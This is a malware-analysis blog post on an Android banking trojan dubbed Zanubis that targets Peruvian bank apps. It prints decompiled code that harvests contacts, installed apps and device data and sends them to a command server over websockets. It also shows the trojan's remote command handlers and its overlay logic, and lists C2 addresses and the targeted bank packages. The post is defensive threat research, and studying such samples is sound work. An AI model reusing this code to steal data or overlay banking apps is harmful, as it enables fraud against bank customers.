Thursday, September 1, 2022

Zanubis LATAM Banking Trojan

 Brief note: I analyzed this sample I found thanks to MHT's tweet https://twitter.com/malwrhunterteam/status/1564972377452298245?s=20&t=hqLnACKdbcCOPLjLrNMfyw

07/09/2022 update at the end.


This is the first time I see this sample, not sure if there is more documentation about it (if there is, please let me know). I am going to refer to this sample as Zanubis from now on, the reasoning behind this is the decryption key being Zanubis in the sample I analyzed. At the end, IOCs, SHA256 and targeted banks can be found.


At the time of this writing, the samples were not packed and still contained logging from the authors. These samples are likely still not final versions.

The trojan

This is an overlay-based banking trojan abusing accessibility, the infection method the standard one and it stores a list of applications in shared_preferences. It is focused on targeting LATAM banks and in this sample it focuses on Peru banks. 


On startup, the ServerPrimerosPasos() method is called and retrieves the following information:

  • List of contacts of the device

  • List of installed applications

  • Device data which includes:

    • manufacturer

    • model

    • fingerprint

  • It checks for the brand of the device and checks specifically for Motorola, Samsung and Huawei devices.

  • Ignore battery optimizations.


This information is formatted and sent to the remote server via websockets:


    public void ServerPrimerosPasos() {

        try {

            String contactos = this.funciones.ObtenerContactos();

            String apps = this.funciones.ObtenerApps();

            String datosTelefono = this.dispositivo.ObtenerDatos();

            String cont_res = "{ " + this.funciones.ObtenerIdCliente() + ", \"contactos\" : " + contactos + ", \"apps\" : " + apps + ", \"device_info\" : " + datosTelefono + " }";

            this.socket.emit("datos_iniciales_cliente", str_encript(cont_res, this.config.KEY_STR));

        } catch (Exception e) {

        }

    }


Websocket communications


Once the sample is installed in the victims device, it uses the hardcoded initial URL to post data to a remote server. After the first post, the next ones will receive encrypted strings from both the trojan and the server:


Initial data sent (on install)

Response received (on install)

Device configuration

Device packages


The vistas package contains all the code related to Views and WebViews, including tests and customized views to request the SMS, Battery and accessibility permissions. The authors have left some logging comments in the sample. Likely to debug their code:


Log.e("vista alerta", "en teoria se esta creando la ventana");


Information is posted to the remote server via the NotificarPost method:


    public void NotificarPost(String contenido) {

        FnApiCon apiCon = new FnApiCon(new FnApiCon.AsyncResponse() { // from class: com.personal.pdf.funciones.Funciones.1

            @Override // com.personal.pdf.funciones.FnApiCon.AsyncResponse

            public void processFinish(String output) {

            }

        });

        apiCon.prepararConsulta("d=" + contenido, this.context);

        apiCon.execute(new String[0]);

    }


Configuration

The class called Configuracion stores the default configuration of the sample. The most important information that is stored here for us is:


  • KEY_STR: Used to encrypt messages as seen in the ServerPrimerosPasos() screenshots

  • URL_INICIAL: Is the startup URL that is used on onCreate within a  WebView and enables Javascript content

  • PREF_LLAVE

  • SOCKET_SERVER: Remote address to open a WebSocket. This websocket exposes the following commands:

    • config_packages: Returns the list of installed packages in the system

    • desinstalar_app and eliminar_app: Deletes the target application

    • bloquear_telefono: Locks the screen

    • notificacion: Sends a push notification to the user. The message is received from the socket and decrypted

    • enviar_sms: Sends an SMS

    • permiso_contacto: Requests the contacts permiso

    • permiso_sms: Get SMS permission

    • rev_permiso_sms: Reset SMS permission

    • unlock_package: Allow the target package to be uninstalled


Next are some code snippets related to the previous commands:


this.socket.on("notificacion", new Emitter.Listener() { // from class: com.personal.pdf.funciones.SocketCon.8

                    @Override // io.socket.emitter.Emitter.Listener

                    public void call(Object... args) {

                        String desencriptado = SocketCon.this.str_decrypt(args[0].toString(), SocketCon.this.config.KEY_STR);

                        String titulo = "";

                        String mensaje = "";

                        try {

                            JSONObject json = new JSONObject(desencriptado);

                            if (!json.isNull("titulo") && !json.getString("titulo").equals("")) {

                                titulo = json.getString("titulo");

                            }

                            if (!json.isNull("mensaje") && !json.getString("mensaje").equals("")) {

                                mensaje = json.getString("mensaje");

                            }

                        } catch (Exception e2) {

                        }

                        Intent dialogIntent = new Intent(SocketCon.this.context, vista_popup.class);

                        dialogIntent.addFlags(268435456);

                        dialogIntent.addFlags(BasicMeasure.EXACTLY);

                        dialogIntent.addFlags(32768);

                        dialogIntent.addFlags(67108864);

                        dialogIntent.putExtra("titulo", titulo);

                        dialogIntent.putExtra("mensaje", mensaje);

                        SocketCon.this.context.startActivity(dialogIntent);

                    }


    public void ServerPrimerosPasos() {

        try {

            String contactos = this.funciones.ObtenerContactos();

            String apps = this.funciones.ObtenerApps();

            String datosTelefono = this.dispositivo.ObtenerDatos();

            String cont_res = "{ " + this.funciones.ObtenerIdCliente() + ", \"contactos\" : " + contactos + ", \"apps\" : " + apps + ", \"device_info\" : " + datosTelefono + " }";

            this.socket.emit("datos_iniciales_cliente", str_encript(cont_res, this.config.KEY_STR));

        } catch (Exception e) {

        }

    }


Socket socket3 = IO.socket(String.valueOf(Uri.parse("http://" + this.preference.getServerApp() + ":" + this.config.SOCKET_PUERTO)));

                this.socket = socket3;

                try {

                    socket3.connect();

                } catch (Exception e) {

                    Socket socket4 = this.socket;

                    if (socket4 != null) {

                        socket4.disconnect();

                        this.socket.close();

                        this.socket = null;

                    }

                    this.conectado = false;

                }


Data Encryption

To encrypt and decrypt data it has implemented a class named Cripto where all the methods for both encryption/decryption of strings are stored.


Overlays

The overlays work by checking the list of packages to monitor from pref_config_package and then it will check it whenever an application opens:

{

            if (!this.preference.getTargetPackage().equals("")) {

                String[] targets = this.preference.getTargetPackage().split(this.config.SPLIT_PREFERENCE);

                String[] noTargets = this.preference.getNoTargetPackage().split(this.config.SPLIT_PREFERENCE);

                this.rutas = this.preference.getTargetUrl().split(this.config.SPLIT_PREFERENCE);

                for (int i = 0; i < targets.length; i++) {

                    try {

                        if (nodeInfo.getPackageName().toString().equals(targets[i])) {

                            boolean encontro = false;

                            for (String item : noTargets) {

                                if (item.equals(targets[i])) {

                                    encontro = true;

                                }

                            }

                            if (!encontro) {

                                z = true;

                            } else {

                                z = false;

                            }

                            if (z & (!this.rutas[i].equals(""))) {

                                mostrarActivityNavegador(this.rutas[i], targets[i]);

                            }

                        }

                    } catch (Exception e12) {

                    }

                }

If the application is in the list of targets then a WebView will be overlayed on the victims device.

VT Collection

https://www.virustotal.com/gui/collection/1857e2a8e8677e5f0b0edb38dff9e83795cd50be1e4f8771e2d374f99e4edb45



IOCs

  • 0198b8fa11bf9e8442defa00befa2ab224ada5ebb4a60256f2bf5fc491cca0a1

  • 33adbff1a79da4a3fde49cececac5a6b99bf217be0c6db6cdf85a46bf2087e57

  • 95242e1d105de9c33b2c9d8a9514f58327ca32d7d24af9af19ff3f0d075ea451

  • http[:]//92.38.132.217[:]8000/socket.io/?EIO=4&transport=polling&sid=aqOxTFmMn8gXqrvMAAru

  • https[:]//justpaste[.]it/8j6de

  • http[:]//004.fullcircleteam[.]com/014/e08133e07fc400a116ed6ef01cfde577/inicio?c000=mnn

  • https[:]//001.fullcircleteam[.]com/?c000=mnn

  • https[:]//002.fullcircleteam[.]com/?c000=mnn
  • https[:]//003.fullcircleteam[.]com/?c000=mnn

Targeted banks

  • pe.com.interbank.mobilebanking

  • pe.com.scotiabank.blpm.android.client

  • pe.com.bn.app.bancodelanacion

  • com.mibanco.bancamovil

  • pe.com.banBifBanking.icBanking.androidUI

  • com.bbva.nxt_peru

  • com.bcp.innovacxion.yapeapp

  • per.bf.desa

  • com.pe.cajasullana.cajamovil

  • com.bcp.bank.bcp

  • pe.pichincha.bm

  • com.cajahuancayo.cajahuancayo.appcajahuancayo

  • pe.cajapiura.bancamovil

  • com.cmacica.prd

  • pe.interbank.bie

  • pe.com.scotiabank.businessbanking

  • com.bcp.bank.tlc

  • com.alfinbanco.appclientes

  • pe.com.bancomercio.mobilebanking

  • com.bm_gnb_pe

  • com.whatsapp

  • com.ripley.banco.peru

  • com.zoluxiones.officebanking

  • com.cmac.cajamovilaqp

  • pe.com.cajametropolitana.homebankingcml.cmlhomebanking

  • com.pe.cajacusco.movil

  • com.caja.myapplication

  • com.cajamaynas.cajamaynas

  • com.cajatacna.droid

  • com.appcajatrujillo

  • pe.com.tarjetacencosud.canales.mitarjetacencosud

  • pe.com.cajacentro

  • pe.com.prymera.digital.app

  • pe.com.compartamos.bancamovil

  • pe.confianza.bancamovil

  • id=com.credinkamovil.pe

  • pe.com.scotiabank.blpm.android.client.csf

  • com.efectivadigital.appclientes

  • pe.solera.tarjetaoh

  • com.qapaq.banking

  • com.google.android.gm


07/09/02 update

IOCs

  • 9da516e0a2d17efe8646c1e93450cb80beafabbeb362f992ce6de0a0365da142
  • d03deb4f97ee45ec9651dc5d54db8ca523dc4307521cae3f88b966fa9bc29096
  • 9b512b9809b72b11d7bca5712517d34d6b3c4009f5518af31e5094671ec737b5

New samples popped up showing modified strings on the commands. The unlock_package command is now called desbloquear_paquete, translated into Spanish.

Also updates to the socket code, the SMS functions have new code added:

Also, a new setting is present: 


13/09/22 update


SHA256: 8b36ba2150047191c388ec2f12a7c28cd82b7eccb9b626e8a8620faefee0c9bf
IOCs:
  • http://92.38.132.217:8000/instalado
  • http://christopherwilhelm.com/2/assets/css/animate.min.css
  • http://christopherwilhelm.com/2/imagenes/motorola/motorola_r_1.png
  • http://christopherwilhelm.com/2/imagenes/motorola/motorola_r_2.png
  • http://christopherwilhelm.com/2/imagenes/motorola/motorola_r_3.png
  • http://christopherwilhelm.com/2/index.php?q=001?q=004&id=d042ef59b121e01e
  • http://christopherwilhelm.com/favicon.ico

Some changes to the code, more additions but what is interesting is the fact they are obfuscating their APKs to slow down analysis:



No comments:

Post a Comment

2023

Every year I start writing about a wrap-up of my year but I never end up finishing it. Hope this year is different. I'm starting with th...